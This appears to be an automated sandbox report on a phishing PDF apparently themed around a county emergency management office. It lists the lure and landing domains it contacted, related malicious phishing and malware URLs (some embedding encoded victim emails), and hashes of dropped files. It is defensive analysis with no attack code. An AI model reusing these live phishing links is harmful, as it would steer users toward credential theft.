https://a.nel.cloudflare.com/report/v4?s=NdJiS%2BDrsg2P0Dki7MmM763v4EGQ5TfFydCXc94q4i1EZHyZmSHQyXuUC2%2FW4TLorjiVdNio76eLDTuXIGHWu4WuGB6WMgmiVtiEaud%2Fga%2BTuJqLo5BkbZM9evPZN3v2R8s9AnM%2BDT4C%2FHcOnpWN	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8e5935826bf00f3e/1732113776134/h6nWbmYreyjn9Wt	false		high
https://1381488073.constructionfederal.com/next.php	false	Avira URL Cloud: safe	unknown
https://docsend.com/view/dsvnm326mjtbt7np	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8e5935826bf00f3e/1732113776129/bb3c0ba1025676529f93840d2c8a7f2056c6e4adc6118965f4d713f27350447b/HVBG1oNA_YgnxCW	false		high
https://1381488073-1323985617.cos.na-siliconvalley.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://chrome.cloudflare-dns.com	0d326470-8734-41b7-9c24-d31699bb05de.tmp.9.dr	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_163.15.dr, chromecache_165.15.dr, chromecache_172.15.dr, chromecache_170.15.dr	false	high
https://getbootstrap.com)	chromecache_165.15.dr, chromecache_172.15.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_163.15.dr, chromecache_165.15.dr, chromecache_172.15.dr, chromecache_170.15.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_171.15.dr, chromecache_158.15.dr	false	high
https://getbootstrap.com/)	chromecache_163.15.dr, chromecache_170.15.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.195.135	abbcc.appforconstruction.com	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
23.56.162.204	unknown	United States	16625	AKAMAI-ASUS	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
170.106.97.196	unknown	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
3.160.188.127	unknown	United States	16509	AMAZON-02US	false
170.106.97.195	cos.na-siliconvalley.myqcloud.com	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
162.241.71.126	1381488073.constructionfederal.com	United States	26337	OIS1US	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559487
Start date and time:	2024-11-20 15:40:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Isabella County Emergency Management-protected.pdf
Detection:	MAL
Classification:	mal48.winPDF@32/66@37/17
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.20.60.204, 52.202.204.11, 52.5.13.197, 54.227.187.23, 23.22.254.206, 162.159.61.3, 172.64.41.3, 23.195.39.65, 23.32.239.27, 23.32.239.56, 199.232.210.172, 172.217.19.227, 74.125.205.84, 172.217.19.238, 34.104.35.123, 172.217.19.234, 142.250.181.74
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, accounts.google.com, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ajax.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, p13n.adobe.io, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, clients.l.google.com, geo2.adobe.com, docsend.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Isabella County Emergency Management-protected.pdf

Simulations

Behavior and APIs

Time	Type	Description
09:41:29	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Input	Output
URL: https://appforconstruction.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://appforconstruction.com
URL: https://abbcc.appforconstruction.com/cGYxp/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Security verification in process.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://abbcc.appforconstruction.com/cGYxp/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Security verification in process.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://abbcc.appforconstruction.com/cGYxp/ Model: Joe Sandbox AI	{ "brands": [ "Security verification in process." ] }

URL: https://abbcc.appforconstruction.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://abbcc.appforconstruction.com
URL: https://abbcc.appforconstruction.com/cGYxp/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.195.135	https://ipfs.io/ipfs/bafybeihgvaiddahdidkgo3khhbc54ysycuhknpsanbaq6mj5tggc2wik3i/chulls.html#enquiries@nifrs.org	Get hash	malicious	HTMLPhisher	Browse
104.18.94.41	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse
	https://momentum-energy-4688.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse
	https://groupjlansen.com/?klkzhkfz	Get hash	malicious	HTMLPhisher	Browse
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse
	https://atpscan.global.hornetsecurity.com/?d=zgarMAzqF8gJdiyz7BRUZX8-Kt1RoHrhrMmKtaU9kW8&f=VhLn9tqiibnSyqWDnEopjApZtye8WgAc5bwx7BMFWiKwqjA1EcPjZyfvoQy11klP&i=&k=QQhP&m=0jL9ajZ_jxYnMJb2yb4luNRYQCXy24RTS6RPwUyZoAcuBVX0kzGA69aOJSo0d2htwIsi238bOVH3h3HqrhJGfzTuFk7GTjJWYsgIrocXphf5x2p4nZ7S2EABjAck31fG&n=TU5FjsulXTMv8aeSlx257utLr9bUpfdm0dDB4GNEHfOuhOvtIOr62mZHw3PXGZeG&r=qntyoaxGftDLRu_wopiK2t_EdeZaeg9mP15ZZI-qDen_3s7cQ10pAlhKQQnYAIUX&s=c4a8f5ec353e41b8b414bdcf47b33dd5d6b52b0394e0e4a09cc54527f49761c3&u=https%3A%2F%2Fthe1oomisagency.com%2Fthyu%2F	Get hash	malicious	Unknown	Browse
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse
	https://mkwomens.com/iuefoiuherjhkjf/iuyrijkfjkoifjoijreiwiw/e9c4710345f07b1cf048900d092f8cdc/YW5nZWxhLnN1bW1lcnNieUBhc2h1cnN0LmNvbQ==	Get hash	malicious	Unknown	Browse
	https://ledger-checks.s3.us-east-1.amazonaws.com/index.html	Get hash	malicious	Unknown	Browse
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse
151.101.66.137	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://site9615380.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js
	http://grandprairie-water-damage-restoration.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js
151.101.194.137	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
23.56.162.204	f5dc5302-022c-8bef-7a8e-e20ea821f59b.eml	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://etiv-tcaer.vercel.app/	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	WSock.dll	Get hash	malicious	Ramnit	Browse	151.101.194.137
	https://2kio0wi0iat.freewebhostmost.com	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://mkwomens.com/iuefoiuherjhkjf/iuyrijkfjkoifjoijreiwiw/e9c4710345f07b1cf048900d092f8cdc/YW5nZWxhLnN1bW1lcnNieUBhc2h1cnN0LmNvbQ==	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://form.jotform.com/243186396374063	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
bg.microsoft.map.fastly.net	KRcLFIz5PCQunB7.exe	Get hash	malicious	Quasar	Browse	199.232.214.172
	file.exe	Get hash	malicious	JasonRAT	Browse	199.232.214.172
	AI_ChainedPackageFile.VistaSoftware.exe	Get hash	malicious	PureCrypter	Browse	199.232.214.172
	740d3a.msi	Get hash	malicious	Unknown	Browse	199.232.210.172
	AaronGiles(1).exe	Get hash	malicious	PureCrypter	Browse	199.232.210.172
	740d3a.msi	Get hash	malicious	PureCrypter	Browse	199.232.214.172
	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	Get hash	malicious	Cobalt Strike, Lokibot	Browse	199.232.210.172
	MyInstaller_PDFGear.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	PO-000041492.xls	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172
stackpath.bootstrapcdn.com	https://etiv-tcaer.vercel.app/	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://2kio0wi0iat.freewebhostmost.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	NTS_eTaxInvoice.html	Get hash	malicious	Unknown	Browse	104.18.10.207
	f5dc5302-022c-8bef-7a8e-e20ea821f59b.eml	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://experteau.lawgovexperts.com/Fp0c8/	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://ow.ly/ok9750U8Nry#jeanette.marais@mmltd.co.za	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.18.10.207
	https://us-west-2.protection.sophos.com/?d=vercel.app&u=aHR0cHM6Ly93ZWJtYWlsLWF1dGgtc2VjLnZlcmNlbC5hcHA=&i=NWVjYjQ2MzZmNTgwNWIwZWJlZWZkM2Fl&t=UXZ3YkZpNSszWkdZNlBPdUNtNGVRQTM2ZzV1SmdscHZTN2E0TDhEQUVMYz0=&h=41cf60c27bc24f608fa5f6f60edfa437&s=AVNPUEhUT0NFTkNSWVBUSVYWbs5htFrsKfDZKi2vxyeN8JAV7eyBc8AqkmOaHaHVi8YGx5zRAzUm2TNYTJQ1rCs#Ymtqb29AaGRlbC5jby5rcg==	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/safetyworksolutions.com%2Fkese%2F7980321465/eW9vbmp1LmNob0Bib2xsb3JlLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/safetyworksolutions.com%2Fpklxg%2F1769066015/ai5taWNoYWVsLm1hcnNoQG92ZXJsYWtlaG9zcGl0YWwub3Jn	Get hash	malicious	Unknown	Browse	104.18.10.207
cdnjs.cloudflare.com	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://cipdegiphar-pharm.click/BD0C84/D0C-N0V20.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://momentum-energy-4688.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://etiv-tcaer.vercel.app/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://files-pdf-73j.pages.dev/?e=info@camida.com	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://2kio0wi0iat.freewebhostmost.com	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	104.17.25.14
	Employee-SSN.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	104.17.25.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.66.38
	https://covid19.auth-verify.com/XUXIrOHR6RjhQNXRDVW5iWmFYNTZaZlB0Z1ZnZHBzcVhlTW1qdU04ZXpTUXRDVmJVWGZzaSsxd05aQUF3emJmeFZyVkhKN3RPM2cwU3NDMWkrMFhSbTcwSEh5N09lN256QnJjRG9sWklQRy9KZm14M1JhMER1NzVYVjFlZUxmeTZnQVc4Z0t1T2pTTnJ5dHN3NVNSTFljQzlxOFJRb2NraUtMVVZ4ckN0eVF1WTFCS3VqVnNZazlaSlUrK3ZjUE1PcVM1eFhrQT0tLUs1UUpQQ3gzcDZ1VzRKVVEtLW44eGZTZUNwWmFkTnlqMFJCODNDZUE9PQ==?cid=289532680	Get hash	malicious	KnowBe4	Browse	104.18.87.62
	https://t.ly/31-te	Get hash	malicious	Unknown	Browse	104.20.7.133
	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://cipdegiphar-pharm.click/BD0C84/D0C-N0V20.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://momentum-energy-4688.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	https://www.cbirc.gov.cn	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
AKAMAI-ASUS	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	2.20.41.218
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.57.90.147
	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	184.28.90.27
	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	184.28.90.27
	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	23.212.88.224
	https://groupjlansen.com/?klkzhkfz	Get hash	malicious	HTMLPhisher	Browse	23.38.98.103
	meow.arm7.elf	Get hash	malicious	Unknown	Browse	23.51.121.34
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	2.19.126.202
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.57.90.171
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	23.217.172.185
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.66.38
	https://covid19.auth-verify.com/XUXIrOHR6RjhQNXRDVW5iWmFYNTZaZlB0Z1ZnZHBzcVhlTW1qdU04ZXpTUXRDVmJVWGZzaSsxd05aQUF3emJmeFZyVkhKN3RPM2cwU3NDMWkrMFhSbTcwSEh5N09lN256QnJjRG9sWklQRy9KZm14M1JhMER1NzVYVjFlZUxmeTZnQVc4Z0t1T2pTTnJ5dHN3NVNSTFljQzlxOFJRb2NraUtMVVZ4ckN0eVF1WTFCS3VqVnNZazlaSlUrK3ZjUE1PcVM1eFhrQT0tLUs1UUpQQ3gzcDZ1VzRKVVEtLW44eGZTZUNwWmFkTnlqMFJCODNDZUE9PQ==?cid=289532680	Get hash	malicious	KnowBe4	Browse	104.18.87.62
	https://t.ly/31-te	Get hash	malicious	Unknown	Browse	104.20.7.133
	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://cipdegiphar-pharm.click/BD0C84/D0C-N0V20.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://momentum-energy-4688.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	https://www.cbirc.gov.cn	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
FASTLYUS	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.79
	https://cipdegiphar-pharm.click/BD0C84/D0C-N0V20.html	Get hash	malicious	Unknown	Browse	151.101.66.217
	https://momentum-energy-4688.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse	199.232.196.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	kIMPADTn5g.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	23.218.208.109 20.12.23.50
	https://www.fedex.com/GMSzTnpUc9Ov/Ac/dOaI9C_8Nd/ESuYbzDiS3SN/YXVAWAE/Rw55Ikg/iYwAC	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50
	https://covid19.auth-verify.com/XUXIrOHR6RjhQNXRDVW5iWmFYNTZaZlB0Z1ZnZHBzcVhlTW1qdU04ZXpTUXRDVmJVWGZzaSsxd05aQUF3emJmeFZyVkhKN3RPM2cwU3NDMWkrMFhSbTcwSEh5N09lN256QnJjRG9sWklQRy9KZm14M1JhMER1NzVYVjFlZUxmeTZnQVc4Z0t1T2pTTnJ5dHN3NVNSTFljQzlxOFJRb2NraUtMVVZ4ckN0eVF1WTFCS3VqVnNZazlaSlUrK3ZjUE1PcVM1eFhrQT0tLUs1UUpQQ3gzcDZ1VzRKVVEtLW44eGZTZUNwWmFkTnlqMFJCODNDZUE9PQ==?cid=289532680	Get hash	malicious	KnowBe4	Browse	23.218.208.109 20.12.23.50
	https://t.ly/31-te	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50
	https://cipdegiphar-pharm.click/BD0C84/D0C-N0V20.html	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50
	https://momentum-energy-4688.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.208.109 20.12.23.50
	https://online.flippingbook.com/view/946261857/	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50
	EFT Direct Deposit Fo2424263460.txt.htm	Get hash	malicious	HTMLPhisher	Browse	23.218.208.109 20.12.23.50
	http://cdn.bootcss.com	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.195053694282914
Encrypted:	false
SSDEEP:	6:HuXAVOq2PRN2nKuAl9OmbnIFUt8YuXDT3JZmw+YuXDT3DkwORN2nKuAl9OmbjLJ:iAVOvaHAahFUt85DTZ/+5DTz5JHAaSJ
MD5:	C33F536203F8FA458351CF6F69466A9F
SHA1:	CA7BE4B8FBF9EC8F6F588F8D356F594085F3E5B2
SHA-256:	4F2C3B41661A153CD93198B0361C85BBAAA6F7CF5AE9CE7EB90042123F6B0242
SHA-512:	5086A5E98A2FA96426B805807129B947E4732D2B7821861F9BF3249202C72A6460C6DAD242C2DE88EA65E37C71722F2B592731188AB251662656F4F0D19A2470
Malicious:	false
Reputation:	low
Preview:	2024/11/20-09:41:17.803 730 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/20-09:41:17.806 730 Recovering log #3.2024/11/20-09:41:17.806 730 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.195053694282914
Encrypted:	false
SSDEEP:	6:HuXAVOq2PRN2nKuAl9OmbnIFUt8YuXDT3JZmw+YuXDT3DkwORN2nKuAl9OmbjLJ:iAVOvaHAahFUt85DTZ/+5DTz5JHAaSJ
MD5:	C33F536203F8FA458351CF6F69466A9F
SHA1:	CA7BE4B8FBF9EC8F6F588F8D356F594085F3E5B2
SHA-256:	4F2C3B41661A153CD93198B0361C85BBAAA6F7CF5AE9CE7EB90042123F6B0242
SHA-512:	5086A5E98A2FA96426B805807129B947E4732D2B7821861F9BF3249202C72A6460C6DAD242C2DE88EA65E37C71722F2B592731188AB251662656F4F0D19A2470
Malicious:	false
Reputation:	low
Preview:	2024/11/20-09:41:17.803 730 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/20-09:41:17.806 730 Recovering log #3.2024/11/20-09:41:17.806 730 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.122543674377741
Encrypted:	false
SSDEEP:	6:HuXSL+q2PRN2nKuAl9Ombzo2jMGIFUt8YuXK1Zmw+YuXzLVkwORN2nKuAl9Ombzz:iSL+vaHAa8uFUt85M/+5zLV5JHAa8RJ
MD5:	2AB7882BEC90A39566DFDF27BB290DF3
SHA1:	F77FC5D5C25A7DC99ECDB9672397B3BA754CFB85
SHA-256:	D8771C8750DBE5D0F033388A328279188BD2E98485BD9272FAF0FAAD32A145CC
SHA-512:	B55B658A63A9F03CAC8AAF2574213298AA32B79AEF3FBD95774B2B83EE2F5501CD0B16DB2C8DB8590B0C2FFFA97E8BA72A55553FA5B3A7E84C7DB6F9F4F038C0
Malicious:	false
Reputation:	low
Preview:	2024/11/20-09:41:17.407 1a7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/20-09:41:17.416 1a7c Recovering log #3.2024/11/20-09:41:17.417 1a7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

